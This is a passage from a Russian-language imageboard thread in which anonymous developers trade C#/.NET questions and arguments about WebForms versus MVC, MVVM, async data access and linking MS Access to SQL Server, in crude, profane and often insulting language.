ОП, зачем тебе это село? Лучше перекатывайся в Мурино. Здесь и сочных зумерш полно и есть будущее.
1073 1773201
>>771579
года 2 пишу на решетках, коммерческого - 0
1074 1773710
А че там с .NET Native? Хоть как-нибудь научился работать к 2020-му или хуй забили?
1075 1773787
>>773710
CoreRT? Я не углублялся, анон
1076 1773808
Анон, помоги с базами данных и аутентификацией.

У меня есть компьютер, на нем стоит база данных Microsoft SQL Server. Тут понятно как мою С# прогу подключать и указывать логин-пароль

Но я хочу сделать прослойку между моей программой и базой данных. В качестве прослойки служит база данных Microsoft Access
В этой базе данных есть нужные мне запросы, плюс хранятся локальные данные пользователя программы, а также кеши выборок чтобы основную базу не дергать (коорче, оказалось удобно так делать)

База данных access должна содержать связанные таблицы из Microsoft SQL Server (сейчас она содержит полные копии каждой таблицы, пока я тестово работаю)

Но я не знаю как указывать в данном случае логин и пароль базы Microsoft SQL Server
1077 1773912
>>724425 (OP)

>WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML


А зечем? Я понимаю если ASP и прочий веб стек, там без MVC MVVM сложно. Но MVVM в стандалон проге для тырпрайза? Серьёзноблядь? Какой дегенерат будет это городить в десктопах то? И главное ради чего? Обычно это делается чтобы разделить разработку на дизайн, программирование и БД. Но тут и без MVVM эта задача решена сразу из коробки. Короче, обьясните мне профиты. Кучу раз на конференциях слышал что этот паттерн кто-то использует и кучу раз выступающего поливали ушатами из говна. Потому-что герома много, а профита нет.
1078 1774320
>>773912

> > Какой дегенерат будет это городить в десктопах то?


Смотря что ты пишешь. Если маленький проект, то вопросов нет, можно закостылить и так. Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку

> И главное ради чего?


Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь

> ушатами из говна


Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла

Я не использовал mvvmlight, prisma, потому что у них довольно высокий порог входа. Может, с ними удобнее. Но я просто забросил это впф нахуй и доволен как слон
Надо что-то небольшое – на винформе пишу, драг анд дроп. И никакого xmlns, Grid.RowDefinition, DickDuckValueConverter и прочего нечитаемого бойлерплейта. Надо что-то большое – вот вам сайт на mvc или vue
1079 1774333
>>774320

>Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку


Что именно не так? Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM. За неделю примерно разобрался, за месяц написал первый модуль к ней, начал фиксить.

>Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь


Я и так читаю, никаких проблем с этим не видел. Если у меня скила не хватает, то хоть какой паттерн применяй, будет сложно. А если хватает, то опять же причём тут паттерн?

>Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла


Без MVVM? Берёшь и делаешь. Я не понял где проблема?
1080 1774360
>>774320
Спасибо няша. Я понял что моего опыта видимо недостаточно.
image.png88 Кб, 400x225
1081 1774397
Как вызвать метод на сервере без перезагрузки страницы клиента?
1082 1774411
Зачем вообще нужен СигналР если он сбрасывается каждый раз при перезагрузке станице что делает его совершенно бесполезной херней
1083 1774414
>>774333

> Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM.


Мне достался проект, где классы форм были в тысячи строк. Возможно, у вас изначально задумывались над архитектурой, а не допиливали утилиту до состояния монстра

> Без MVVM? Берёшь и делаешь. Я не понял где проблема?


С mvvm

У тебя сложный "бек", или сам интерфейс с тоже выворотами? Сколько примерно элементов на экране отображается одновременно?

>>774360
Ты меня не слушай.
1084 1774431
>>774414

>У тебя сложный "бек", или сам интерфейс с тоже выворотами?


Интерфейс без особых выворотов. В основном бэк сложный.

>Сколько примерно элементов на экране отображается одновременно?


Примерно 20, в особых случаях до 80.
Прям оче редко 90.
1085 1774443
>>766044
Так а глянь по коду, как оно генерируется. Там КОПРОстое число же, всё как и должно быть.
Но ImportParameters его не хочет импортировать.
1086 1774459
>>774397
через ajax
1087 1774463
>>774443
Открой рефлектором тогда метод, который крашится. Вот там хохма будет, если проверяется, что е == 65537 или исключениие
1088 1774472
>>774459
если ты про веб метод то он не работает какого-то хуя, он просто не вызывается
1089 1774480
>>774472
посмотри в браузере куда летит реквест. может у тебя неправильно url в js ставится?
1090 1774487
>>774480

з вебметодом вообще странная штука, я уже писал в этом >>774480 посте что я пытался заставить работать хотя бы пример их мсдн и он все равно не работал по фиг знает какой причине, он просто не реагирует и все, я так и не понял в чем прикол и смирился, теперь обхожу веб метод стороной
1091 1774497
>>774487
Веб метод? Из веб форм? Ты на стеке из 2000 работаешь или что?
1092 1774501
>>774497
что значит стек из 2000?
1093 1774505
>>774497
если что вот пример который аналогичен моему
https://www.aspsnippets.com/Articles/Calling-ASPNet-WebMethod-using-jQuery-AJAX.aspx
1094 1774506
>>774501
???
Скажи честно, ты сидишь в тюрьме и изучаешь сишарп по древним книгам нулевых годов еще до asp.net mvc и выходишь в интернет по WAP через sony ericcson k750i, протащенный в жопе залётного питониста и трафика хватает только на этот тред с отключенным JS и CSS?
image.png18 Кб, 579x148
1095 1774512
>>774505
Ну ты посмотри кого ты блять слушаешь. Муддасар Кхан в 2013 году. Это блять индус блять. И ты читаешь записки индуса из 2013 года в 2020 году.
1096 1774514
>>774506
>>774512
а в чем он не прав?
1097 1774582
>>774514

> WebMethod


Братан, ну ты в натуре через вап сидишь
В чем проблема открыть вкладку сеть, и посмотреть, куда твой xnr летит?
Атрибуты на методе висят какие-нибудь? Мидлвары нестандартные?
1098 1774589
>>774582
он правильно летит
1099 1774598
>>774463
Я не знаю, как. Попробуй сам. В Visual Studio просто исключение и пишется 'Плохие данные'.
1100 1774632
>>774589
type на method замени в ajax. А вообще схуёв ли TestMethod - static? Я родился уже когда MVC был, у нас контроллеры например не статик.
1101 1774634
>>774598
Братанчик ну у меня своих проблем хватает. Скачай фриварный ILSpy и натрави его на .exe/.dll своей программы
1102 1774763
Братики, а как в линухе кодить на C#?
1103 1774781
>>774763
net core + vs code/rider
1104 1774782
>>774781
Где это всё взять?
1105 1774786
>>774782
https://dotnet.microsoft.com/download
https://code.visualstudio.com/
https://www.jetbrains.com/rider/

для вс код поставь плагин для сишарпа чтобы какой-никакой дебаг был
1106 1774788
>>774786
СПС.
1107 1775090
>>774632
прикалываешься? я вообще-то помощи прошу, такого как mhetod в документации даже нет есть post get put delete
1108 1775091
>>774632
чем мвс лучше вебформ?
1109 1775098
>>732253

>Ну да, только таких в топ IT компанию и берут.


Там дикое легаси, в котором черт ногу сломит, работает и ладно. Сказки про топ компании, сука.
1110 1775123
>>775091
потому что современнее. потому что работая с mvc проектом ты можешь запросто перелезть на разработку rest api, потому что принцип один и тот же. потому что в коре ходовой стек - это именно mvc, а развивается именно коре, а не древние веб формы. развивается как в плане внутренних оптимизации, так и различных фич и синтаксического сахара вроде встроенного DI
1111 1775126
>>775123
то есть я не пойму, в мвс не юзают вебметодов? а как вы тогда общаетесь с сервером?
1112 1775182
>>775126
По телефону набираем
1113 1775193
>>775182
ебать вы ебанутые, и еще задвигаете что-то в сторону божественных вебформ
image.png90 Кб, 1491x868
1114 1775307
Нужна помощь шарписов. Облазал пол интернета и нихуя не нашел.

Крч мне нужно написать парсер, который будет искать на сайте символы и выводить эту строчку в консоль/тхт/таблицу. У меня нихуя не работало и я решил взять пример из интернетов.. и он блять тоже нихуя не работает. Использовал библиотеку AngleSharp.

я только вкатываюсь
1115 1775372
>>775307
линк добавь в юзинг
1116 1775375
>>775307
попробуй добавить using System.Linq;
image.png70 Кб, 1121x766
1117 1775407
>>775372
>>775375
Заработало, спасибо.
1118 1775465
Привет. В общем, у меня вопрос.
Чому не отменяется-то загрузка если я долблю esc?
Ну и в остальном, прошу как обычно кодревью. Да.
https://www.dropbox.com/s/850r24tvk2qh9t6/RisovachGraber.7z?dl=0
1119 1775534
>>775465

>7z


Иди нахуй или кидай код на пейстбин
1120 1775537
>>775534
На дропбоксе можно посмотреть код не качая ничего
1121 1775559
>>775465
Где ты так научился код писать? Тоже так хочу.

>Чому не отменяется-то загрузка если я долблю esc?


Прям вообще не отменяется или отменяется с задержкой? Видимых причин для первого нет.

>Ну и в остальном, прошу как обычно кодревью. Да.


Зачем ты используешь в HttpService.DownloadAndSave инстанс WebClient'a, кода у тебя в HttpService есть инстанс HttpClient'a?
Метод GrabAsync слишком перегружен, я бы вынес парсинг страницы и сбор всех uri в отдельный приватный метод.
В этом методе нужно заменить все EndsWith на регулярное выражение из словаря, ключом к которому будет одно из значений перечисления FileType {Image, Video}, в итоге у тебя появится быстрая возможность добавлять сохранение файлов определенного типа и код станет более читаемым.

В остальном мне всё понравилось, организованно на отлично.
Без названия.jpeg14 Кб, 238x314
1122 1775719
>>775091

> 2к20


> вебформ


Братан
image.png24 Кб, 916x194
1123 1775798
Че за хуйня?

Почему в grid (DataGrid в WPF) показывает что у меня 0 Column, тогда как в dogTable (DataTable ) показывает что их было 12?

Я из-за этой херни не могу переименовать в grid название столбцов, потому что у меня вылетает исключение про неправильный индекс (даже по 0).

При всем этом если переименование закоментировать, то все нормально работает и данные выводятся в таблицу
(а еще подобный же код в другом месте с другим DataGrid работает)

DataGrid описан так:
<DataGrid x:Name="grid" Margin="13,80,13,80"
Loaded="grid_Loaded"
MouseDoubleClick="grid_DoubleMouse"
VirtualizingStackPanel.IsVirtualizing="True"
ScrollViewer.CanContentScroll="True"
ItemsSource="{Binding}"
AutoGenerateColumns="True"
ScrollViewer.VerticalScrollBarVisibility="Visible"
ScrollViewer.HorizontalScrollBarVisibility="Visible"
MaxHeight="600.0"/>

код такой (я упростил, оставив 2 записи)https://pastebin.com/m45TjcJz

Куда копать?
1124 1775939
>>775719
зачем? что бы по телефону с сервером созваниваться как этот анон?>>775182

неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами, вебформы простые легкие, можно низкоуровневый код писать к страницам, а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес
изображение.png25 Кб, 969x453
1125 1776034
Че делать с этим говном? Я уже задолбался постоянно копипастить это говно. Просто на каждый запрос приходится копипастить этот кусок кода.
Как можно по нормальному обернуть в функцию?
Или чего-нибудь готовое, но не сложное?
1126 1776112
>>776034
Entity Framework
1127 1776270
>>775939

> зачем? что бы по телефону с сервером созваниваться как этот анон?>>775182


Мой знакомый тоже о вебформсах хорошо отзывался

> неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами


Гоняешь по сети кучу трафика, ебешь процессор нагрузкой больше, чем на mvc

> вебформы простые легкие


> <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="TestAspNet45.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server">


...

Ну хз, мне это напоминает wpf с его бойлерплейтом

> можно низкоуровневый код писать к страницам


На mvc тоже можно. А вообще проще фронт на JavaScript и не ебаться с костылями

> а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес


Говоришь о технологии, с которой незнаком. Тревожный звонок, анон
1128 1776296
>>776034
Где async?? Все IO/Network операции надо через async/await вызывать.

Reader нужен только для оптимизации или для каких-то простых приложух. Во всех остальных случай EF Core.
Ну или хотя бы Dapper, если не хочешь заморачиваться с настройкой контекстов, запуском in-memory для тестов и миграциями https://github.com/StackExchange/Dapper
sage 1129 1776349
>>776270
про низкоуровневый код я имел введу о code behind страницы, и я не понял что ты написал про javascript и к чему это, и к тому же я не уверен что в мвс так можно, мне кажется что нет, насчет трафика в вебформах есть такая крутая штука как update panel заворачиваешь туда то что надо обновлять а все остальное берется из клиентского кеша, так можно оптимизировать очень хорошо трафик + для мелких задач можно юзать веб метод и не исполнять лишний код на сервере, а трафик будет зависит чисто от того как ты json сообразишь, насчет новых технологий в мвс честно скажу не знаю знаком с мвс посредственно но за мвс почему-то топят в ру сегменте, я живу и работаю в европе и тут наоборот мвс что-то не такой популярный, может быть из за индусов не знаю, но вот в тех случаях когда я просил четко оформить плюсы мне говорили вот те вещи что анон сверху задвигал, "ну там в будущем, там что-то обещают, а там технология многообещающая, да и оттуда перекатиться туда будет в будущем легко, на раст, хераст, педераст" а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас "молчание"
image.png37 Кб, 534x350
1130 1776395
>>776349
Не чувак, веб формы в прошлом и уже давно. И они в десятки (а где то и тыщи) раз медленнее и более прожорливее MVC/Razor Pages/Rest API. А с выходом WASM и Blazor и HTTP/2 вообще небо и земля.
Тебе, как привыкшему к вебформс можно перебраться на Razor Pages https://docs.microsoft.com/en-us/aspnet/core/razor-pages
Меньше разрыва шаблонов будет.
15429816506660.jpg46 Кб, 532x531
1131 1776420
Ребята, как можно в vs19 заретаргетить solution на vs10.
Нужно заняться некромантией и восславить Нер-Зула.
sage 1132 1776449
>>776395
а можно собственно сравнение по вызовам, памяти? трафику и быстродействию? я первый раз слышу про формы что в десятки-тыщи раз медленнее
1133 1776451
Короче - докладываю, в vs'e кнопочки ретаргета на солюшине нету (наверное потому что это последняя версия). Пробовал тупо менять значения версии в файле .sln - vs2010 нихуя не схавала (unable to open solution).
>>776420
1134 1776514
>>776034

>new OleDbConnection


это ты на вебформах тут в 2020 пишешь?
1135 1776524
>>776349
да ты бля даже веб метод у себя через ajax раскочегарить не можешь, какой тебе низкоуровневый код, какой кодбехайнд блять. ссынок блядь. куда ты лезешь?

>а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас


затем что mvc и asp.net core mvc в частности с его dependency injection из под коробки удобнее и интуитивнее в разы. при двузначном iq код на коре будет удобно разбит по контроллерам, сервисам, миддлвейрам, а то же самое на вебформах превратиться в ёбаный спагетти-код, видал я такую хуйню. ты там блядь пойди еще и собственный html-generator написал на шарпе и хуяришь им в респонс боди, потому что блядь низкоуровнево блядь пиздец погоромист блядь. динаху отсюда
1136 1776743
>>776112
>>776296
Может я недоглядел, но я не понимаю как работать когда мне нужно данные полученные с запросов еще и обрабатывать.
Ну то есть я делаю сложный SQL запрос, затем делаю замену некоторых данных - например сменить формат даты - мне не нужна дата вплоть до микросекунды которая хранится в базе. И вот как такие операции делать - когда я получил с базы данные, но они еще не пригодны для программы?
(А то во всех учебниках элементарно - делают класс подобный структуре таблицы и на этом всё)

>Где async??


Это тоже не понял - зачем делать эту операцию асинхронной, если ее результат ждет программа? пока результата нет - она и не должна работать (да, интерфейс должен быть заблокирован чтобы пользователь не нажимал кнопочки пока не прогрузилось - я часто с такой херней в некоторых других прогах сталкивался - когда тыкнешь не туда во время загрузки и пиздец все ломается)

>>776514
нет.
image.png22 Кб, 744x549
1137 1776745
>>776296

>Где async?? Все IO/Network операции надо через async/await


вот серьезно - какой смысл, если основной поток все равно без этих данных не сможет корректно работать и по сути должен уходить в ожидание?

у меня десктоп если что
1138 1776783
>>776745
Мне страшно становится от мысли, что куча так называемых "программистов" работает над настоящими проектами вот с такими вот знаниями и подходом к делу.

Сильно (очень) упрощённая версия.
Кол-во потоков (и вообще ресурсов) в любой системе ограничено. Если этой не школьный или просто для души проект, то разбрасываться ресурсами нельзя! Await возвращает поток назад в использование для всех остальных (а не только тебя любимого). IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе. Нет смысла отжирать ресурсы впустую, пока ты ждёшь ответ от внешней системы.

Но самый страх начинается, когда ты начнёшь отлавливать дедлоки на пустом месте. Нельзя, ВООБЩЕ НИКОГДА НЕЛЬЗЯ, делать async over sync или sync over async. Это прям НЕТ и точка.

Шпаргалка.
https://github.com/davidfowl/AspNetCoreDiagnosticScenarios/blob/master/AsyncGuidance.md
1139 1776784
>>776743
С такими знаниями тут тебе ни один ответ не поможет, кроме готовых примеров конкретно для твоего приложения что врят ли кто-то за тебя писать будет.

https://docs.microsoft.com/en-us/ef/core/get-started
Тут на самом деле всё есть, надо только взяться и хорошо всё почитать и перепробовать кучу примеров (там ссылки на гитхаб).

Вообще надо делать отдельные классы (Entity) для представления того, что у тебя в БД. И отдельные классы для бизнес логики. И потом делать репозитории/сервисы/мапперы/обзывай как хочешь, от архитектуры зависит, в которых ты будешь из Entity делать Domain объект и наоборот.
1140 1776785
>>776783
Ты о чем? Я не понимаю что ты хочешь мне сказать

Я знаю что количество потоков ограничено. Я как раз и спрашивал - нахера делать получение данных асинхронным, если без этих данных программа не сможет работать и будет их ждать, так как любые операции без данных - это ошибка логики и к ничему хорошему не приведут.
А еще у меня в коде дохера кеширования и многие запросы делаются один раз, дальше оно хранится в памяти (прога занимает 260мб оперативы)

>>776783

> IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе


какое еще другое железо? откуда оно возьмется? При чем тут вообще Network?
1141 1776826
>>776349

> насчет новых технологий в мвс честно скажу не знаю знаком с мвс


Я мало работал с вебформс, всего один раз баг пофиксил. Получается разговор людей, которые работают с разными технологиями

Проперделся с педерастов, но, анон, я вот что скажу. Вебформы на неткор не портировали, это теперь легаси и количество работы будет сокращаться

Я сейчас завожу трактор, поэтому мне нужно иметь актуальный стек. Туда, куда я хочу, не то что мвц, туда шарп особо не нужен. Думал на яву перекатываться, но пока фронт изучаю. Ты в Европе, тебе и так хорошо
1142 1777436
>>776449
У МС на сайте даже написано: Use .NET Core for your server application when you need high-performance and scalable systems.
И хочешь не хочешь, но трафика старая технология потребляет больше. Там и бенчмарки есть - https://docs.microsoft.com/en-us/dotnet/standard/choosing-core-framework-server

И как уже заметили, вебформс уже легаси и будет поддерживаться только в старом фреймворке. Новых фич и быстродействия уже не получит. Мир с каждым днём всё больше в облака уходит. С вебформс там делать нечего. Разве что только с пет проектами.
1143 1777467
>>776785
Я тебе так скажу - учись. Читай новые статьи, обсуждения, книги, сам экспериментируй.
Вот эту шпаргалку всем без исключения дотнетчикам на самом деле многое отсюда к любой технологии/языку/платформе относится надо держать всегда под рукой https://docs.microsoft.com/en-us/aspnet/core/performance/performance-best-practices

>Do call all data access APIs asynchronously.


>Call data access, I/O, and long-running operations APIs asynchronously if an asynchronous API is available.



В твоём случае asynchronous API как раз available.

>нахера делать получение данных асинхронным


чтобы
- не отхватить deadlock;
- не отжирать ресурсы, пока программа ничего не делает, потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе (кстати, на счёт спящих потоков: Thread.Sleep() должен уйти на покой, а вместо него надо использовать await Task.Delay());
- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).

Чтобы юзеры не могли нажать кнопочки, когда их нажимать не положено, существуют 1001 техника без блокировки основного потока: disable UI elements, waiting screen/spinner, проверка в коде на повтор того же самого запроса и т.д..
1144 1777561
>>777436
А если подумать, вебформы хороши или нет? В отрыве от вопросов производительности?
Просто увидел там драг-н-дроп, подумал, что это интересная фича
1145 1777644
>>777561
ИМХО ничё в них хорошего не осталось. Drug-n-drop разработка - такой себе анонизм. Это как если сравнить какой-нибудь https://gamesalad.com с нормальным игровым движком. Да, у тебя получится сделать продукт, но он будет похож на школьный проект или на местечковую автоматизацию какой-нить конторы/администрации.

Я с вебформс дружил с 2008 года. Каждый раз когда проект разрастался до десятков тысяч строк, начинались танцы с бубном. Особенно если вместо одного сервака тебе внезапно нужна была небольшая ферма. Те ещё пляски чтобы управлять одним приложением на нескольких машинах разом (scaling называется).

.Net Core упростил веб разработку в разы. У нас есть приложухи монолиты с миллионом строк кода и есть системы из кучи микросервисов. Нормально всё поддерживается и работает. Мы бы наверное то же самое на вебформсах 10+ лет пилили и потом без остановки баги разгребали.
1146 1777678
Что скажете по фрилансу #? MVC Razor или WebAPI+JS? Что за таски обычно, легаси или с 0? Микросервисы?
1148 1777744
>>777687
нахуй ты мне линк на биржу даешь? Мне опыт работающих фрилансеров нужен, если тут конечно такие есть
1149 1777752
>>777744

>MVC Razor или WebAPI+JS? Что за таски обычно, легаси или с 0? Микросервисы?



И где тут хоть слово про опыт, долбоебина? Хотя можешь не отвечать, ты уже подтвердил свою умственную отсталость, поэтому диалог с тобой продолжать не вижу смысла.
1150 1777766
>>777752
токсичная хуйня кидает линк с апворка и хуй пойми какой ждет реакции. Спрашиваю про опыт фрилансеров, он мне выкатывает простыню про идентификацию по посту. Не пиши больше, чмоха
1151 1778547
Джуном реальносейчас устроиться?
1152 1778574
Сап анончики, я еще даже не близок к званию джуна, но уже могу +- что-нибудь накостылить. Решился делать свой текстовик по типу виндовского блокнота, но не знаю куда сохранять все данные в программе. Не могу подобрать БД, да и нужно ли оно тут?
1153 1778599
>>778547
Нет. Корона + малый спрос на .Net решили этот вопрос не в пользу джунов. А вот мидлам и сеньерам наоборот хорошо, так как многие компании сокращают джунов и пытаются заменить их меньшим количеством мидлов и сеньоров.
>>778574

>Не могу подобрать БД, да и нужно ли оно тут?


Это шутка такая? Где ты текстовый редактор видел, который данные сохраняет в базу данных? Сохраняй в файл, очевидно.
AnalDestructor2010 1154 1778702
Пишу ASP Core MVC, есть такой
r.MapControllerRoute(
..name: "someroute",
..pattern: "{govno:alpha}/{mocha:int}",
..defaults: new { controller = "Con", action = "Act" });
Как мне теперь создать ссылку с помощью tag-helper'ов а-ля mysite.gov/kaka/13?
1155 1778899
>>778702
Короч, если кому надо
<a asp-route-govno ="kaka" asp-route-mocha="13" asp-controller="Con" asp-action="Act">
Оно будет автоматически искать подходящий маршрут, параметры автоматически будут сопаставлены с частями пути, остальные прилепятся как параметры гета.
1156 1778924
Поясните за необходимость математики и знания различных алгоритмов для разработчика. Как часто на работе всплывает необходимость в подобных знаниях? Или это всё только на собеседованиях роляет?
1157 1778937
>>778924
Полностью зависит от того, чем будешь заниматься. В вебе тебе навряд ли понадобиться что-то сложнее логарифма. В гейдеве, думаю, понимание векторов, матриц и соответственно операций над ними покроет 90% твоих потребностей (геймдев на шарпе это юнити, довольно высокоуровневый движок, единственное не знаю как там шейдеры пишут, наверно качают ассерт из стора, так что тоже особой математики не надо). В машинном обучении, наверно да, но у них там скорее всего своя специфика, а ты будешь пользоваться готовыми либами. Ну а в кровавом ынтырпрайзе, опять же зависит от того что это за приложение. Могут быть хардкорные вычисления а может быть школьная арифметика.
1158 1778938
>>778924

>за необходимость математики и знания различных алгоритмов для разработчика


если очко жмет спросить применение этих алгоритмов на практике, то нужно учить. Советую выдрочить один экзотический алгоритм, который применял только дед Ануфрий при войне с перлом и при вопросе: "Какие алгоритмы знаешь?" - Отчечаешь этим алгоритмом. В 99.9% интервьюер ничего про него не знает, можно поставить шах и мат фразой "Ааа, вы его не знаете... Ну понятно". Если спизданет "Да знаю" или промолчит - попросите описать/реализовать. Изи типсы для собеса.
1159 1778944
>>778938

>Если спизданет "Да знаю" или промолчит - попросите описать/реализовать.


А потом ему сказать извините вы нам не подходите?
1160 1778950
>>778944
— Блядь, всё-таки не знаешь, ой мудель, блядь!.. Твою мать, изучай это говно нахуй, блядь! Сейчас будешь всё это дебажить, блядь!
— Я тебе принес вопросов-то!
— Чё ты мне вопросов принёс, чё ты, мудак, что ль, бля?! Хули ты спросил… хули ты сортировкой-то вымазался, мудак, блядь?!
— Я уж погулил, я тебе…
— Пидорас, блядь! Сука, блядь!
— Соискатель, ты что!
— Убери это говно отсюда, блядь!
— Я спросил уже!..
— Ёб твою мать, блядь, и весь вайтборд засрал, блядь!
— Хотел тебя спросить-то!..
— Мудак, блядь, ну ты мудак, блядь, я тебя сейчас убью, нахуй! Я тебя, блядь, сейчас убью нахуй, блядь!
— Я тебе принес задач-то!..
(Тихим голосом.) Блядь, ну ты пидорас, блядь…
— Задач-то…
— Бля, ну ты сумасшедший, ёб твою мать, а…
— Задач-то…
— Бля, с кем вы меня посадили, охуеть, ёбаный в рот!..
— Я не HR, я те честно говорю! Я тебе… я просто хотел тебе сделать доброе дело…
— Чё?
— Я не кодил вообще сегодня!..
— Чё, нахуй, мне — добро?
1161 1778987
>>778944
цену себя знать нужно, а не быть обмякшей чмохой (коих 99% разРАБов)
1162 1779115
>>777467

>- не отхватить deadlock;


какие дедлоки в однопоточном приложении?

>>777467

>не отжирать ресурсы, пока программа ничего не делает


она и так не отжирает ресурсы, когда ничего не делает - событийно-ориентированая архитектура же. 0% загрузки проца и 80 мб оперативы в простое.

>>777467

>потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе


винда сама все разрулит намного эффективней,так как приложение находится в состоянии простоя

>>777467

>- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).


У каждого пользователя свое приложение. Они никак друг друга не блочат.

Чел, все то что пишешь - это либо слишком сложные системы, которые в одиночку никто в здравом уме не разрабатывает, либо веб, так как там нынче все должно быть "модно-молодежно".

Я же пишу обычное десктоп приложение, управляющее делопроизводством компании из около 40 человек. При этом активно работающие с базой всего два рабочих места. Остальные работают с копиями.
image.png22 Кб, 223x274
1163 1779119
Анон, как сделать следующее:
- есть база в сети на SQL Server. при этом для доступа используется учетная запись SQL Server
- есть локальная база в MS Access
- локальная база содержит связь на таблицу из базы SQL Server

как мне работать с этой связью? На пикче называется dbo_Улицы

Если я открываю ее в Access - то в первый раз она требует пароль SQL Server

Но как теперь этот пароль указать в коде?

вот это не работает:
string connectionBDCoreStr = string.Format("Provider=Microsoft.ACE.OLEDB.12.0; Data Source={0};JET OLEDB:Database Password=1234", mdbFile);
using (var connect = new OleDbConnection(connectionBDCoreStr))

пишет "ODBC - ошибка подключения к 'база в сети'

Мне это для чего надо - в MS Access я храню запросы, и код должен работать с ними
1164 1779121
>>779119
Не знаю, может, стоит сделать делать два контекста?
Зачем вообще эти костыли?
1165 1779124
>>779121

>Зачем вообще эти костыли?


Ну чтобы не засорять основную базу результатами запросов на изменение
1166 1779129
>>779119
Сам спросил, сам отвечу. Все оказалось капец как просто (при этом убил 3 часа, нифига не нашел в гугле, и тупо на угад получилось - вечно так)

Короче, в самой ms access когда создаешь связанную таблицу, там есть окно в котором надо выбрать таблицы - в этом окне снизу притаилась кнопка "сохранить пароль". Вот это оно и есть - сохранить пароль и дальше в самом коде не надо никаких паролей указывать - работает со связанными таблицами как с обычными
(ну или чтобы не вломали хацкеры - поставить пароль уже на саму базу ms access)
1597630102372.jpeg17 Кб, 488x409
1167 1779131
>>779124
То есть ты делаешь Update, а старые значения заносишь в Access?

Я брал Serilog и просто сущности в Json сериализовывал и сохранял. Можно только diff сохранять, но при моей нагрузке и хуевой туче памяти это не нужно. В итоге полное версионирование

Что насчёт двух контекстов? В SQL Server можно ссылаться на другие базы но вот можно ли ссылаться на базы других программ?, кажется, в объектах сервера было. Посмотри, может, в access есть что-то похожее. Я так понимаю, тебе надо сперва подключиться к access, а потом уже тянуть данные с MS SQL
Поверх двух контекстов можно нагородить провайдер, который будет разруливать твои действия. Можешь глянуть DDD и bounded context, но это охуеть головомойка

Вообще, мутная эта схема. Не хотел бы я, чтобы такой проект попал на поддержку. Данные либо нужны, либо нет. Твой access тоже где-то надо хранить, бекапить, держать в памяти. Почему бы не сделать все на одной платформе?
1168 1779132
>>779129
Ну, все, поздравляю, молодец – сам разобрался
1169 1779137
>>779131

>Вообще, мутная эта схема.


Почему мутная?

Общая база данных хранится на сервере SQL Server. А локальная база MS Access хранится вместе с программой и у каждого будет своя (в ней можно и индивидуальные конфиги хранить)

Запросы очень удобно делать в MS Access (в нем самый простой, но мощный редактор). В SQL Server Management Studio это как-то черезжопно. В коде это тоже выглядит страшно.

При этом результат выборки запроса можно сохранить в MS Access и тогда не дергать основную базу, а брать уже сохраненные результаты из MS Access, просто при первом запросе делать копию редкоизменяемых таблиц - такое кеширование сильно разгружает локальную сеть (у нас раньше была такая проблема).

А самое главное - разработка. Я ведь иногда прихожу домой и хочу дальше кодить, но доступа к серверу у меня нет (и я не хочу ставить себе дома всякое говно). В случае MS Access это легко решается:
- есть MS Access в котором устанавливаю связи с SQL Server - это рабочая локальная база
- есть база в которой я храню полные копии таблиц из SQL Server с теми же именами что в рабочей у связей.

И мне в результате надо всего лишь одну строчку в коде изменить чтобы оно брало локальную копию. А не городить огромные условия и шаблоны, где выбирать нужную базу и нужный биндинг - ведь с access работать через OleDbConnection, а с SQl Server через SQLConnection. Сейчас я во всем коде могу работать через OleDb, и подключаться к локальной базе. А уж в самой базе менять связи как мне надо
1170 1779154
>>724425 (OP)
Аноны умоляю. Есть у кого-нибудь полный набор элементов для xamarin от synfuction? Или хотя бы ключик. Очень хочется исходники посмотреть
image.png7 Кб, 469x215
1171 1779594
>>779137
Для таких вещей есть Sqlite, к которому и коннектится проще и конфигурить. Сам файл БД можно зашифровать и расшифровывать при старте твоей проги.
Для ручного доступа к БД можно самой студией пользоваться без всяких SSMS и MS Access.
1172 1779658
Почему разор не взлетел? Вроде же удобно.
1173 1779679
>>779658
Борду не читай, но спиздани.

MS его везде пропихивают.
https://dotnet.microsoft.com/apps/aspnet/web-apps
Razor может на любой backend rendered html страничке использоваться + новый Razor Pages движок https://docs.microsoft.com/en-us/aspnet/core/razor-pages
1174 1779726
>>779679
По итогу получается, что на страницу все равно надо прилепить кусок js-ного кода только если у тебя там не статичный контент, а то и целый фреймворк, потому что разор – это генератор html, и на этом его полномочия заканчиваются. А блазор – хуйня из под коня. Либо васм, который никто качать не будет, либо соединение с каждым клиентом, что не подходит для нагруженного приложениям

Таким образом, помимо js и html надо знать еще и тег-хелперы разора. Раз уж js надо изучать, почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно? Еще и spa получится, охуенно же

